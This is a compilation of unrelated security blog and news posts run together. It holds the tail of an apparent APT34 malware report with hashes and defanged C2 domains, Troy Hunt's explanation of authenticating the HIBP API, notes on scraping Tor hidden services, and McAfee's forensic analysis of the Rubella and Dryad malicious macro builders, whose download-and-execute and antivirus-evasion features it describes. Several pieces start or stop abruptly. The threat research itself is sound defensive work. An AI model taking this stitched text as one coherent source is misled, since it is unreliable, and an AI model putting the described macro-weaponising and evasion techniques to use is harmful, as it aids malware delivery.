FE_APT_Backdoor_Win32_TONEDEAF

TONEDEAF BACKDOOR [DNS]

TONEDEAF BACKDOOR [upload]

TONEDEAF BACKDOOR [URI]

Table 1: FireEye Platform Detections

Endpoint Indicators

Indicator

MD5 Hash (if applicable)

Code Family

System.doc

b338baa673ac007d7af54075ea69660b

TONEDEAF

 

50fb09d53c856dcd0782e1470eaeae35

TONEDEAF

ERFT-Details.xls

96feed478c347d4b95a8224de26a1b2c

TONEDEAF DROPPER

 

caf418cbf6a9c4e93e79d4714d5d3b87

TONEDEAF DROPPER

b.exe

9fff498b78d9498b33e08b892148135f

VALUEVAULT

WindowsNTProgram.exe

021a0f57fe09116a43c27e5133a57a0a

LONGWATCH

PE86.dll

d8abe843db508048b4d4db748f92a103

PICKPOCKET

PE64.dll

6eca9c2b7cf12c247032aae28419319e

PICKPOCKET

Table 2: APT34 Endpoint Indicators from this blog post

Network Indicators

hxxp[://]www[.]cam-research-ac[.]com

offlineearthquake[.]com

c[.]cdn-edge-akamai[.]com

185[.]15[.]247[.]154

Acknowledgements

A huge thanks to Delyan Vasilev and Alex Lanstein for their efforts in detecting, analyzing and classifying this APT34 campaign. Thanks to Matt Williams, Carlos Garcia and Matt Haigh from the FLARE team for the in-depth malware analysis.

IDG Contributor Network: Brand reputation at risk

The world is going digital at an unprecedented pace. Established business models are reaching the end of their life cycle. New market entrants are disruptively entering the arena with asset-light balance sheets, build upon platforms and apps, which turn the dynamics of competition upside-down. Technology, media and entertainment, and telco (TMT) companies are at the forefront of this wave.

Although many TMT companies are leaders in digital transformation, they arguably more vulnerable to cyber-attacks than other industries, with the consequences of a breach more serious as highlighted in EY’s GISS 2018-19. Unlike the global panel, this excerpt focuses on consolidated findings from TMT companies.

To read this article in full, please click here

Authentication and the Have I Been Pwned API

Authentication and the Have I Been Pwned API

The very first feature I added to Have I Been Pwned after I launched it back in December 2013 was the public API. My thinking at the time was that it would make the data more easily accessible to more people to go and do awesome things; build mobile clients, integrate into security tools and surface more information to more people to enable them to do positive and constructive things with the data. I highlighted 3 really important attributes at the time of launch:

There is no authentication.

There is no rate limiting.

There is no cost.

One of those changed nearly 3 years ago now - I had to add a rate limit. The other 2 are changing today and I want to clearly explain why.

Identifying Abusive API Usage

Let me start with a graph:

Authentication and the Have I Been Pwned API

This is executions of the V2 API that enables you to search an individual email address. There's 1.06M requests in that 24 hour period with 491k of them in the last 4 hours. Even with the rate limit of 1 request every 1,500ms per IP address enforced, that graph shows a very clear influx of requests peaking at 14k per minute. How? Well let's pull the logs from Cloudflare and see:

Authentication and the Have I Been Pwned API

This is the output of a little log analyser I wrote that breaks requests down by ASN (and other metrics) over the past hour. There were 15,573 requests from AS23969 across 82 unique IP addresses. Have a look at where those IP addresses came from:

Authentication and the Have I Been Pwned API

There is no conceivable way that this is legitimate, organic usage of the API from Thailand. The ASN is owned by TOT Public Company Limited, a local Thai telco that somehow, has ended up with a truckload of IP addresses hitting HIBP at just the right rate to not trigger the rate limit. The next top ASN is Biznet Networks in Indonesia. Then Claro in Brazil. After that there's Digital Ocean and then another Indonesian telco, Telkomnet. It makes for a geographical spread that's entirely inconsistent with legitimate usage of genuine consumers (no, HIBP isn't actually big in Iran!):

Authentication and the Have I Been Pwned API

Late last year after seeing a similar pattern with a well-known hosting provider, I reached out to them to try and better understand what was going on. I provided a bunch of IP addresses which they promptly investigated and reported back to me on:

1- All those servers were compromised. They were either running standalone VPSs or cpanel installations.

2- Most of them were running WordPress or Drupal (I think only 2 were not running any of the two).

3- They all had a malicious cron.php running

This helped me understand the source of the problem, but it didn't get me any closer to actually blocking the abusive behaviour. For the sake of transparency, let me talk about how I tried to tackle this because that will help everyone understand why I've arrived at a very different model to what I started with.

Combating Abuse with Firewall Rules

Firewall rules on Cloudflare are amazingly awesome. It takes just a few seconds to have a rule like this in place:

Authentication and the Have I Been Pwned API

Make more than 40 requests in a minute and you're in the naughty corner for a day. Only thing is, that's IP-based and per the earlier section on abusive patterns, actors with large numbers of IP addresses can largely circumvent this approach. It's still a fantastic turn-key solution that seriously raises the bar for anyone wanting to get around it, but someone determined enough will find a way.

No problems, I'll just take abusive ASNs like the Thai one above and give them the boot. I scripted a lot of them based on patterns in the log files and create a firewall rule like this:

Authentication and the Have I Been Pwned API

That works pretty quickly and is very effective, except for the fact that there's an awful lot of ASNs out there being abused. Plus, it has side-effects I'll come back to shortly too.

So how about looking at user agent strings instead? I mean could always just block the ones bad actors are using, except that was never going to work particularly well for obvious reasons (you can always define whatever one you like). That said, there were a heap of browser UAs which clearly were (almost) never legitimate for a client making API calls. So I blocked these as well:

Authentication and the Have I Been Pwned API

That shouldn't have come as a surprise to anyone as the API docs were actually quite clear about this:

The user agent should accurately describe the nature of the API consumer such that it can be clearly identified in the request. Not doing so may result in the request being blocked.

Problem is, people don't read docs and I ended up with a heap of default user agents (such as curl's) which were summarily blocked. And, of course, the user agent requirement was easily circumvented as I expected it would be and I simply started seeing randomised strings in the UA.

Another approach I toyed with (very transiently) was blocking entire countries from accessing the API. I was always really hesitant to do this, but when 90% of the API traffic was suddenly coming from a country in West Africa, for example, that was a pretty quick win.

I'm only writing about this here now because as the new model comes into place, all of this will be redundant. Plus, I wanted to shed some light on the API behaviour some people may have previously seen which they couldn't quite work out, and that brings me to the next section.

The Impact on Legitimate Usage

The attempts described above to block abuse of the API also blocked a lot of good requests. I feel bad about that because it made something I'd always intended to be easily accessible difficult for some people to use. I hope that by explaining the background here, people will understand why the approaches above were taken and indeed, why the changes I'm going to talk about soon were necessary.

I got way too many emails from people about API requests being blocked to respond to. Often this was due to simply not meeting the API requirements, for example providing a descriptive UA string. Other times it was because they were on the same network as abusive users. There were also those who simply smashed through the rate limit too quickly and got themselves banned for a day. Other times, there were genuine API users in that West African country who found themselves unable to use the service. I was constantly balancing the desire to make the API easily accessible whilst simultaneously trying to ensure it wasn't taken advantage of. In the end, the path forward was clear - the API would need to be authenticated.

The New Model: Authenticated Requests

I held back on this for a long time because adding auth to the API adds a barrier to entry. It also adds coding effort on my end as well as management overhead. However, by earlier this year it became clear that this was the only way forward: requests would have to be auth'd. Doing this solves a heap of problems in one fell swoop:

  1. The rate limit could be applied to an API key thus solving the problem of abusive actors with multiple IP addresses
  2. Abuse associated to an IP, ASN, user agent string or country no longer has to impact other requests matching the same pattern
  3. The rate limit can be just that - a limit rather than also dishing out punishment via the 24 hour block

Making an authenticated call is a piece of cake, you just add an hibp-api-key header as follows:

GET https://haveibeenpwned.com/api/v3/breachedaccount/test@example.com
hibp-api-key: [your key]

However, this wasn't going to completely solve the problem, rather it moved the challenge to the way in which API keys were provisioned. It's no good putting controls around the key itself if a bad actor could just come along and register a heap of them. Anti-automation on the form where a key can be requested is one thing, stopping someone from manually registering, say, 20 of them with different email addresses and massively amplifying their request rate is quite another. I had to raise the bar just high enough to dissuade people from doing this, which brings me to the financial side of things.

There's a US$3.50 per Month Fee to Use the API

Clearly not everyone will be happy with this so let me spend a bit of time here explaining the rationale. This fee is first and foremost to stop abuse of the API. The actors I've seen taking advantage of it are highly unlikely to front up with a credit card and provide what amounts to personally identifiable data (i.e. make a credit card payment) in order to mass enumerate the API.

In choosing the $3.50 figure, I wanted to ensure it was a number that was inconsequential to a legitimate user of the service. That's about what a latte costs at my local coffee shop so spending a few bucks a month to search through billions of records seems like a pretty damn good deal, especially when that rate limit enables 57.6k requests per day.

One thing I want to be crystal clear about here is that the $3.50 fee is no way an attempt to monetise something I always wanted to provide for free. I hope the explanation above helps people understand that, and also the fact the API has run the last 5 and a half years without any auth whatsoever clearly demonstrates that financial gain has never been the intention. Plus, the service I'm using to implement auth and rate limits comes with a direct cost to me:

Authentication and the Have I Been Pwned API

This is from the Azure API Management pricing page which is the service I'm using to provision keys and control rate limits (I'll write a more detailed post on this later on - it's kinda awesome). I chose the $3.50 figure because it represents someone making one million calls. Some people will make much less, some much more - that rate limit represents a possible 1.785 million calls per month. Plus, there's still the costs of function executions, storage queries and egress bandwidth to consider, not to mention the slice of the $3.50 that Stripe takes for processing the payment (all charges are routed through them). The point is that the $3.50 number is pretty much bang on the mark for the cost of providing the service.

What this change does it simultaneously gives me a much higher degree of confidence the API will be used in an ethical fashion whilst also ensuring that those who use it have a much more predictable experience without me dipping deeper and deeper into my own pocket.

The API is Revving to Version 3 (and Has Some Breaking Changes)

With this change, I'm revising the API up to version 3. All documentation on the API page now reflects that and also reflects a few breaking changes, the first of which is obviously the requirement for auth. When using V3, any unauthenticated requests will result in an HTTP 401.

The second breaking change relates to how the versioning is done. Back in 2014, I wrote about how your API versioning is wrong and headlined it with this graphic:

Authentication and the Have I Been Pwned API

I outlined 3 different possible ways of expressing the desired version in API calls, each with their own technical and philosophical pros and cons:

  1. Via the URL
  2. Via a custom request header
  3. Via the accept header

After 4 and a bit years, by far and away the most popular method with an uptake of more than 90% is versioning via the URL. So that's all V3 supports. I don't care about the philosophical arguments to the contrary, I care about working software and in this case, the people have well and truly spoken. I don't want to have to maintain code and provide support for something people barely use when there's a perfectly viable alternative.

Next, I'm inverting the condition expressed in the "truncateResponse" query string. Previously, a call such as this would return all meta data for a breach:

GET https://haveibeenpwned.com/api/v2/breachedaccount/test@example.com

You'd end up with not just the name of the breach, but also how many records were in it, all the impacted data classes, a big long description and a whole bunch of other largely redundant information. I say "redundant" because if you're hitting the API over and over again, you're pulling but the same info for each account that appears in the same breach. Using the "truncateResponse" parameter reduced the response size by 98% but because it wasn't the default, it wasn't used that much. I want to drive the adoption of small responses because not only are they faster for the consumer, they also reduce my bandwidth bill which is one of the most expensive components of HIBP. You can still pull back all the data for each breach if you'd like, you just need to pass "truncateResponse=false" as true is now the default. (Just a note on that: you're far better off making a single call to get all breached sites in the system then referencing that collection by breach name after querying an individual email address.)

I'm also inverting the "includeUnverified" parameter. The original logic for this was that when I launched the concept of unverified breaches, I didn't want existing consumers of the API to suddenly start getting results for breaches which may not be real. However, with the passage of time I've come across a couple of issues with this and the first is that a heap of people consumed the API with the default params (which wouldn't include unverified breaches) and then contacted me asking "why does the API return different results to the front page of HIBP?" The other issue is that I simply haven't flagged very many breaches as unverified and I've also added other classes of breach which deviate from the classic model of loading a single incident clearly attributable to a single site such as the original Adobe breach. There are now spam lists, for example, as well as credential stuffing lists and returning all data by default is much more consistent with the ethos of considering all breached data to be in scope.

The other major thing related to breaking stuff is this:

Versions 1 and 2 of the API for searching breaches and pastes by email address will be disabled in 4 weeks from today on August 18.

I have to do this on an aggressive time frame. Whilst I don't, all the problems mentioned above with abuse of the API continues. When we hit that August due date, the APIs will begin returning HTTP 400 "Bad Request" and that will be the end of them.

One important distinction: this doesn't apply to the APIs that don't pull back information about an email address; the API listing all breaches in the system, for example, is not impacted by any of the changes outlined here. It can be requested with version 3 in the path, but also with previous versions of the API. Because it returns generic, non-personal data it doesn't need to be protected in the same fashion (plus it's really aggressively cached at Cloudflare). Same too for Pwned Passwords - there's absolutely zero impact on that service.

During the next 4 weeks I'll also be getting more aggressive with locking down firewall rules on the previous versions at the first sign of misuse until they're discontinued entirely. They're an easy fix if you're blocked with V2 - get an API key and roll over to V3. Now, about that key...

Protecting the API Key (and How My Problem Becomes Your Problem)

Now that API keys are a thing, let me touch briefly on some of the implications of this as it relates to those of you who've built apps on top of HIBP. And just for context, have a look at the API consumers page to get a sense of the breadth we're talking about; I'll draw some examples out of there.

For code bases such as Brad Dial's Pwny Corral, it's just a matter of adding the hibp-api-key header and a configuration for the key. Users of the script will need to go through the enrolment process to get their own key then they're good to go.

In a case like What's My IP Address' Data Breach Check, we're talking about a website with a search feature that hits their endpoint and then they call HIBP on the server side. The HIBP API key will sit privately on their end and the only thing they'll really need to do is stop people from hammering their service so it doesn't exceed the HIBP rate limit for that key. This is where it becomes their (your) problem rather than mine and that's particularly apparent in the next scenario...

Rich client apps designed for consumer usage such as Outer Corner's Secrets app will need to proxy API hits through their own service. You don't want to push the HIBP API key out with the installer plus you also need to be able to control the rate limit of all your customers so that it doesn't make the service unavailable for others (i.e. one user of Secrets smashes through the rate limit thus making the service unavailable for others).

One last thing on the rate limit: because it's no longer locking you out for a day if exceeded, making too many requests results in a very temporary lack of service (usually single digit seconds). If you're consuming the new auth'd API, handle HTTP 429 responses from HIBP gracefully and ask the user to try again momentarily. Now, with that said, let me give you the code to make it dead easy to both proxy those requests and control the rate at which your subscribers hit the service; here's how to do it with Cloudflare workers and rate limits:

Proxying With a Cloudflare Worker (and Setting Rate Limits)

The fastest way to get up and running with proxying requests to V3 of the HIBP API is with a Cloudflare Worker. This is "serverless code on the edge" or in other words, script that runs on Cloudflare's 180 edge nodes around the world such that when someone makes a request for a particular route, the script kicks in and executes. It's easiest just to have a read of the code below:

Stand up a domain on Cloudflare's free tier (if you're not on there already) then it's $5 per month to send 10M queries through your worker which is obviously way more than you can send to the HIBP API anyway. And while you're there, go and use the firewall rules to lock down a rate limit so your own API isn't hammered too much (keeping in mind some of the challenges I faced when doing this).

The point is that if you need to protect the API key and proxy requests, it's dead simple to do.

"But what if you just..."

I'll get a gazillion suggestions of how I could do this differently. Every single time I talk about the mechanics of how I've built something I always do! The model described in this blog post is the best balance of a whole bunch of different factors; the sustainability of the service, the desire to limit abuse, leveraging the areas my skills lie in, the limited availability of my time and so on and so forth. There are many other factors that also aren't obvious so as much as suggestions for improvements are very welcomed, please keep in mind that they may not work in the broader sense of what's required to run this project.

Caveats

There's a couple of these and they're largely due to me trying to make sure I get this feature out as early as possible and continue to run things on a shoestring cost wise. Firstly, there's no guarantee of support. We do the same thing with entry-level Report URI pricing and it's simply because it's enormously hard to do with the time constraints of a single person running this. That said, if anything is buggy or broken I definitely want to know about it. Secondly, there's no way to retrieve or rotate the API key. If you extend the one-off subscription you'll get the same key back or if you cancel an existing subscription  and take a new one you'll also get the same key. I'll build out better functionality around this in the future.

Edit: You can now regenerate API keys by going to the API key page and clicking the "regenerate key" button. This will invalidate the old key and issue a new one.

I'm sure there'll be others that pop up and I'll expand on the items above if I've missed any here.

Summary

The changes I've outlined here strike a balance between making the API available for good purposes, making it harder to use for bad purposes, ensuring stability for all those in the former category and crucially, making it sustainable for me to operate. That last point in particular is critical for me both in terms of reducing abuse and reducing the overhead on me trying to achieve that objective and supporting those who ran into the previously mentioned blocks.

I expect there'll be many requests to change or evolve this model; other payment types, no payment at all for certain individuals or organisations, higher rate limits and so on and so forth. At this stage, my focus is on keeping the service sustainable as Project Svalbard marches forward and once that comes to fruition, I'll be in a much better position to revisit suggestions (also, there's a UserVoice for that). For now, I hope that this change leads to a much more sustainable service for everyone.

You can go and grab an API key right now from the API menu on the HIBP website:

Authentication and the Have I Been Pwned API

Edit: Just to be crystal clear, this doesn't impact Pwned Passwords. Cloudflare picks up pretty much all the costs for running that so the service is still freely accessible.

Scraping the TOR for rare contents

Scraping the “TOR hidden world” is a quite complex topic. First of all you need an exceptional computational power (RAM mostly) for letting multiple runners grab web-pages, extracting new links and re-run the scraping-code against the just extracted links. Plus a queue manager system to manage scrapers conflicts and a database to store scraped data need to be consistent. Second, you need great starting points. In other words you need the .onion addresses where your scrapers start from. You might decide to begin from common and well-known onion links such as The TOR-hidden-wiki or to start from great reddit threads such this one, but seldom those approaches bring you to what I refer as “interesting links”. For this post “interesting links” means specific links that are rare or not very widespread and mostly focused on cyber-attacks and/or cyber-espionage. Another approach needs be used in order to reach better results. One of the most profitable way to search for “interesting links” is to look for .onion addresses in temporal and up-to-date spots such as: temporal pasties, IRC chats, slack or telegram groups, and so on and so forth. In there you might find links that bring you to more rare contents and to less spread information.

Today I want to start from here by showing some simple stats about scraped .onion links in my domestic scraping cluster. From the following graph you might appreciate some statistics of active-and-inactive scraped hidden services. The represented week is actually a great stereotype of what I’ve got in the last whole quarter. What is interesting, at least in my personal point of view, is the percentage of offline (green) onion services versus the percentage of online (yellow) onion services.

Online (yellow) VS Offline (green) scraped sources

This scenario changed dramatically in the past few months. While during Q1 (2019) most of the scraped websites were absolutely up-and-running on Q2 (2019) I see, most of the scraped hidden services, dismissed and/or closed even if they persists in the communication channels (IRC chat, Pasties, Telegram, etc.).

I think there are dual factors that so much affected last quarter in spotting active hidden service. (1) Old content revamping. For example bots pushing “interesting links” back online even after months of inactivity. This activity is not new at all, but during the past quarter has been abused too many time respect to previous quarters. (2) Hidden services are changing address much more fast respect to few months ago. In order to make hard to spot malicious actors, they might decide to keep up-and-running their hidden services only for few hours and then change address/location. Is that way to enumerate hidden-services passing away or is it a simple weird time-frame ? We will see it during the next “Scraping” months, stay tuned !

12 dark secrets of cloud security

The promise of cloud computing is irresistible. For pocket change, you can spin up a server. Backups can be created with a click. No more worries about buying hardware or keeping the server closet cool. Just log in and go.

But what you gain in convenience, you lose a little control. And anyone with an ounce of paranoia might start pondering the catch. What’s going on behind the curtain?

McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect

Everyday thousands of people receive emails with malicious attachments in their email inbox. Disguised as a missed payment or an invoice, a cybercriminal sender tries to entice a victim to open the document and enable the embedded macro. This macro then proceeds to pull in a whole array of nastiness and infect a victim’s machine. Given the high success rate, malicious Office documents remain a preferred weapon in a cyber criminal’s arsenal. To take advantage of this demand and generate revenue, some criminals decided to create off-the-shelf toolkits for building malicious Office documents. These toolkits are mostly offered for sale on underground cybercriminal forums.

Announced today, the Dutch National High-Tech Crime Unit (NHTCU) arrested an individual suspected of building and selling such a criminal toolkit named the Rubella Macro Builder. McAfee Advanced Threat Research spotted the Rubella toolkit in the wild some time ago and was able to provide NHTCU with insights that proved crucial in its investigation. In the following blog we will explain some of the details we found that helped unmask the suspected actor behind the Rubella Macro Builder.

What is an Office Macro Builder?

An Office Macro Builder is a toolkit designed to weaponize an Office document so it can deliver a malicious payload by the use an obfuscated macro code that purposely tries to bypass endpoint security defenses. By using a toolkit dedicated to this purpose, an actor can push out higher quantities of malicious documents and successfully outsource the first stage evasion and delivery process to a specialized third party. Below is an overview with the general workings of an Office Macro Builder. The Defense evasion shown here is specific to Rubella Office Macro Builder. Additional techniques can be found in other builders.

Dutch Language OpSec fail….

Rubella Macro Builder is such a toolkit and was offered by an actor by the same nickname “Rubella”. The toolkit was marketed with colorful banners on different underground forums. For the price of 500 US Dollars per month you could use his toolkit to weaponize Office documents that bypass end-point security systems and deliver a malicious payload or run a PowerShell Code of your choice.

Rubella advertisement banner

In one of Rubella’s forum postings the actor was detailing the toolkit and that it managed to bypass the Windows Anti Malware Scan Interface (AMSI) present in Windows 10. To prove this success, the post contained a link to a screenshot. Being a Dutch researcher, this screenshot immediately stood out because of the Dutch version of Microsoft Word that was used. Dutch is a very uncommon language, only a small percentage of the world’s population speaks it, let alone an even smaller percentage of cybercriminals who use it.

The linked screenshot with the Dutch version of Microsoft Word.

Interestingly enough we reported last year on the individuals behind Coinvault ransomware. One of the reasons they got caught was the use of flawless Dutch in their code. With this in the back of our minds we decided to go deeper down the rabbit hole.

Forum Research

We looked further into the large amount of posts by Rubella to learn more about the person behind the builder. The actor Rubella was actually promoting a variety of different, some self-written, products and services, ranging from (stolen) credit card data, a crypto wallet stealer and a malicious loader software to a newly pitched product called Tantalus ransomware-as-a-service.

During our research we were able to link different nicknames used by the actor on several forums across a timespan of many years. Piecing it all together, Rubella showed a classic growth pattern of an aspiring cybercriminal, started by gaining technical security knowledge on beginner forums with low op-sec and gradually moved to some of the bigger, exclusive forums to offer products and services.

PDB path Breitling

One of the posts Rubella placed on a popular hacker forum was promoting a piece of free software the actor coded to spoof email. The posting contained a link to VirusTotal and included a SHA-256 hash of the software. This gained our interest since it provided a possibility to link the adversary to the capability.

Email spoofer posting including the VirusTotal link 

Closer examination of the piece of software on VirusTotal showed that the mail Spoofer contained a debug or PDB path “C:\Users\Breitling”. Even though the username Breitling isn’t very revealing about an actual person, leaving such a specific PDB path within malware is a classic mistake.

By pivoting on the specific PDB path we found additional samples on VirusTotal, including a file that was named RubellaBuilder.exe, which was a version of the Macro builder that Rubella was offering. Later in the blog post we will take a closer look at the builder itself.

Finding additional samples with the Breitling PDB path

Since Breitling was most likely the username used on the development machine, we were wondering if we could find Office documents that were crafted on the same machine and thus also containing the author name Breitling. We found an Office document with Breitling as author and the document happened to be created with a Dutch version of Microsoft Word.

The Word document containing the author name Breitling.

Closer inspection of the content of the Word document revealed that it also contained a string with the familiar Jabber account of Rubella; Rubella(@)exploit.im.

The Malicious document containing the string with the actor’s jabber account.

Circling back to the forums we found an older posting under one of the nicknames we could link to Rubella. In this posting the actor is asking for advice on how to add a registry key using C#. They placed another screenshot to show the community what they were doing. This behavior clearly shows a lack of skill but at the same time his thirst for knowledge.

Older posting where the actor asks for help.

A closer look at the screenshot revealed the same PDB path C:\Users\Breitling\.

Screenshot with the Breitling PDB path

Chatting with Rubella

Since Rubella was quite extroverted on the underground forums and had stated Jabber contact details in advertisements we decided to carefully initiate contact with him in the hope that we would get access to some more information. About a week after we added Rubella to our Jabber contact list, we received a careful “Hi.” We started talking and posing as a potential buyer, carefully mentioning our interest the Rubella Macro Builder. During this chat Rubella was quite responsive and as a real businessperson, mentioned that he was offering a new “more exclusive” Macro Builder named Dryad. Rubella proceeded to share a screenshot of Dryad with us.

Screenshot of Dryad shared by Rubella

 Eventually we ended our conversation in a friendly manner and told Rubella we would be in touch if we remained interested.

Dryad Macro Builder

Based on the information provided from the chat with Rubella we performed a quick search for Dryad Macro Builder. We eventually found a sample of the Dryad Macro Builder and decided to further analyze this sample and compare it for overlap with the Rubella Macro Builder.

PE Summary

We noticed that the program was coded in .NET Assembly which is usually a preferred language for less skilled malware coders.

Dynamic Analysis

When we ran the application, it asked us to enter a login and password in order to run.

We also noticed a number-generated HWID (Hardware-ID) that was always the same when running the app. The HWID number is a unique identifier specific to the machine it was running on and was used to register the app.

When trying to enter a random name we detected a remote connection to the website ‘hxxps://tailoredtaboo.com/auth/check.php’ to verify the license.

The request is made with the following parameters ‘hwid=<HWID>&username=<username>&password=<password>’.

Once the app is running and registered it shows the following interface.

In this interface it is possible to see the function proposed by the app and it was similar to the screenshot that was shared during our chat.

Basically, the tool allows the following:

  • Download and execute a malicious executable from an URL
  • Execute a custom command
  • Type of payload can be exe, jar, vbs, pif, scr
  • Modify the dropped filename
  • Load a stub for increase obfuscation
  • Generate a Word or Excel document

It contains an Anti-virus Evasion tab:

  • Use encryption and modify the encryption key
  • Add junk code
  • Add loop code

It also contains a tab which is still in development:

  • Create Jscript or VBscript
  • Download and execute
  • Payload URL
  • Obfuscation with base64 and AMSI bypass which are not yet developed.

Reverse Engineering

The sample is coded in .Net without any obfuscation. We can see in the following screenshot the structure of the file.

Additionally, it uses the Bunifu framework for the graphic interface. (https://bunifuframework.com/)

Main function

The main function launches the interface with the pre-configuration options. We can see here the link to putty.exe (also visible in the screenshots) for the payload that needs to be changed by the user.

Instead of running an executable, it is also possible to run a command.

By default, the path for the stub is the following:

We can clearly see here a link with Rubella.

Licensing function

To use the program, it requires a license, that the user has to enter from the login form.

The following function shows the login form.

To validate the license the program will perform some check and combine a Hardware ID, a username and a password.

The following function generates the hardware id.

It gets information from ‘Win32_Processor class’ to generate the ID.

It collects information from:

  • UniqueId: Globally unique identifier for the processor. This identifier may only be unique within a processor family.
  • ProcessorId: Processor information that describes the processor features.
  • Name: This value comes from the Processor Version member of the Processor Information structure in the SMBIOS information.
  • Manufacturer: This value comes from the Processor Manufacturer member of the Processor Information structure.
  • MaxClockSpeed: Maximum speed of the processor, in MHz.

Then it will collect information from the ‘Win32_BIOS class’.

  • Manufacturer: This value comes from the Vendor member of the BIOS Information structure.
  • SMBIOSVersion: This value comes from the BIOS Version member of the BIOS Information structure
  • IdentificationCode: Manufacturer’s identifier for this software element.
  • SerialNumber: Assigned serial number of the software element.
  • ReleaseDate: Release date of the Windows BIOS in the Coordinated Universal Time (UTC) format of YYYYMMDDHHMMSS.MMMMMM(+-)OOO.
  • Version: Version of the BIOS. This string is created by the BIOS manufacturer.

Then it will collect information from the ‘Win32_DiskDrive class’.

  • Model: Manufacturer’s model number of the disk drive.
  • Manufacturer: Name of the disk drive manufacturer.
  • Signature: Disk identification. This property can be used to identify a shared resource.
  • TotalHead: Total number of heads on the disk drive.

Then it will collect information from the ‘Win32_BaseBoard class’.

  • Model: Name by which the physical element is known.
  • Manufacturer: Name of the organization responsible for producing the physical element.
  • Name,
  • SerialNumber

Then it will collect information from the ‘Win32_VideoController class’.

  • DriverVersion
  • Name

With all that hardware information collected it will generate a hash that will be the unique identifier.

This hash, the username and password will be sent to the server to verify if the license is valid. In the source code we noticed the tailoredtaboo.com domain again.

Generate Macro

To generate a macro the builder is using several parts. The format function shows how each file structure is generated.

The structure is the following:

To save the macro in the malicious doc it uses the function ‘SaveMacro’:

Evasion Techniques

Additionally, it generates random code to obfuscate the content and adds junk code.

The function GenRandom is used to generate random strings, chars as well as numbers. It is used to obfuscate the macro generated.

It also uses a Junk Code function to add junk code into the document:

For additional obfuscation it uses XOR encryption as well as Base64.

Write Macro

Finally, the function WriteMacro, writes the content previously configured:

 

Under construction

We did also notice that the builder uses additional functions that were still under development, as we can see with the “Script Generator” tab.

A message is printed when we click on it and that indicates it is still a function in development.

Additionally, we can see the “Decoy Option” tab which is just a template to create another tab. The tab does not show anything. It seems the author left this tab to create another one.

Rubella Similarities

Dryad is very similar to the Rubella Builder; many hints present in the code confirm the conversation we had with Rubella. Unlike Rubella, Dryad did have a scrubbed PDB path.

Both Rubella builder and Dryad Builder are using the Bunifu framework for the graphic design.

The license check is also the same function, using the domain tailoredtaboo.com, Below is the license check function from the Rubella builder:

Tailoredtaboo.com Analysis

We analyzed the server used to register the builder and discovered additional samples:

Most of these samples were Word documents generated with the builder.

A quick search into the domain Tailoredtaboo showed that it had several subdomains, including a control panel on a subdomain named cpanel.tailoredtaboo.com.

The cPanel subdomain had the following login screen in the Dutch language.

The domain tailoredtaboo.com has been linked to malicious content in the past. On Twitter the researcher @nullcookies reported in April 2018 that he found some malicious files hosted on the specific domain. In the directory listing of the main domain there were several files also mentioning the name Rubella.

TailoredTaboo.com mentioned on Twitter

 

Based on all the references, and the way the domain Tailoredtaboo.com was used, we believe that the domain plays a central administrative role for both Rubella and Dryad Macro Builder and can provide insight into the customers of both Macro Builders

Conclusion

Toolkits that build weaponized Office documents, like Dryad and Rubella, cater to the increasing cybercriminal demand of this type of infection vector. With the arrest of the suspect comes an end to the era of Dryad and Rubella Macro Builder. Based on his activity, the suspect looked like quite the cybercriminal entrepreneur, but given his young age this is also a worrisome thought. If only he would have used his skills for good. The lure of quick cash was apparently more enticing than building a solid long-term career. We at McAfee never like to see young talented individuals heading down a dark path.

Indicators of Compromise

URL / Website:

hxxps://tailoredtaboo.com/auth/check.php

Hash Builder:

  • Dryad: 7d1603f815715a062e18ae56ca53efbaecc499d4193ea44a8aef5145a4699984
  • Rubella: 2a20d3d9ac4dc74e184676710a4165c359a56051c7196ca120fcf8716b7c21b9

Hash related samples:

93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a

ad2f9ef7142a43094161eae9b9a55bfbb6dff85d890d1823e77fc4254f29ef17

c2c2fdcc36569f6866e19fcda702c823e7bf73d5ca394652ac3a0ccc6ff9c905

3c55e54f726758f5cb0d8ef81be47c6612dba5a73e3a29f82b73a4c773e691a3

74c8389f20e50ae3a9b7d7e69f6ae7ed1a625ccc8bb6a52b3cc435cf94e6e2d3

388ee9bc0acaeec139bc17bceb19a94071aa6ae43af4ec526518b5e1f1f38f07

08694ad23cafe45495fa790bfdc411ab5c81cc2412370633a236c688b07d26aa

428a30b8787d2ba441dba1dbc3acbfd40cf7f2fc143131a87a93f27db96b7a75

93db479835802dc22ba5e55a7915bd25f1f765737d1efab72bde11e132ff165a

c777012abe224126dca004561619cb0791096611257099058ece1b8d001277d0

5b773acad7da2f33d86286df6b5e95ae355ac50d143171a5b7ee61d6b3cad6d5

a17e3c2271a94450a7a7c6fcd936f177fc40ea156de4deafdfc14fd5aadfe503

1de0ebc0c375332ec60104060eecad77e0732fa2ec934f483f330110a23b46e1

b7a86965f22ed73de180a9f98243dc5dcfb6ee30533d44365bac36124b9a1541

The post McAfee ATR Aids Police in Arrest of the Rubella and Dryad Office Macro Builder Suspect appeared first on McAfee Blogs.

Could a Dropped USB Drive Expose You to Malware?

USB drives seem harmless enough and they’re a convenient way to store, back up, or transfer files from your computer. So If you spot a USB drive sitting on the ground or in your office, should you assume someone lost their files? Or is it a hacker baiting you into compromising your computer and network?

On the latest episode of “Hackable?” Geoff learns if USB drives are dangerous and — with the help of white-hat hacker Tim Martin — sets his own trap for Pedro. Listen and learn how to protect your network from dropped drives, and if Pedro takes the bait.

Listen now to the award-winning podcast “Hackable?”.

The post Could a Dropped USB Drive Expose You to Malware? appeared first on McAfee Blogs.

Cybersecurity Hygiene: 8 Steps Your Business Should be Taking

Whether you’re managing your enterprise’s cybersecurity or you’ve outsourced it to a service provider, you’re ultimately the one that will be held accountable for a data breach. If your vendor loses your data, your customers and board of directors will likely still hold you responsible.

McAfee’s recent report, Grand Theft Data II: The Drivers and Shifting State of Data Breaches, reveals a majority of IT professionals have experienced at least one data breach, and on average have dealt with six breaches over the course of their career. Nearly three-quarters of all breaches have required public disclosure or have affected financial results.

Enterprise threats are increasing in number and sophistication, while rapidly targeting new vulnerabilities. And while, the top three vectors for exfiltrating data were database leaks, cloud applications, and removable USB drives, IT professionals are most worried about leaks from cloud enterprise applications such as Microsoft OneDrive, Cisco WebEx, and Salesforce.com.

Cybersecurity hygiene best practices must not only be established but updated and followed to keep up with these agile, versatile threats. Here are eight steps your business should be taking to implement better cybersecurity hygiene:

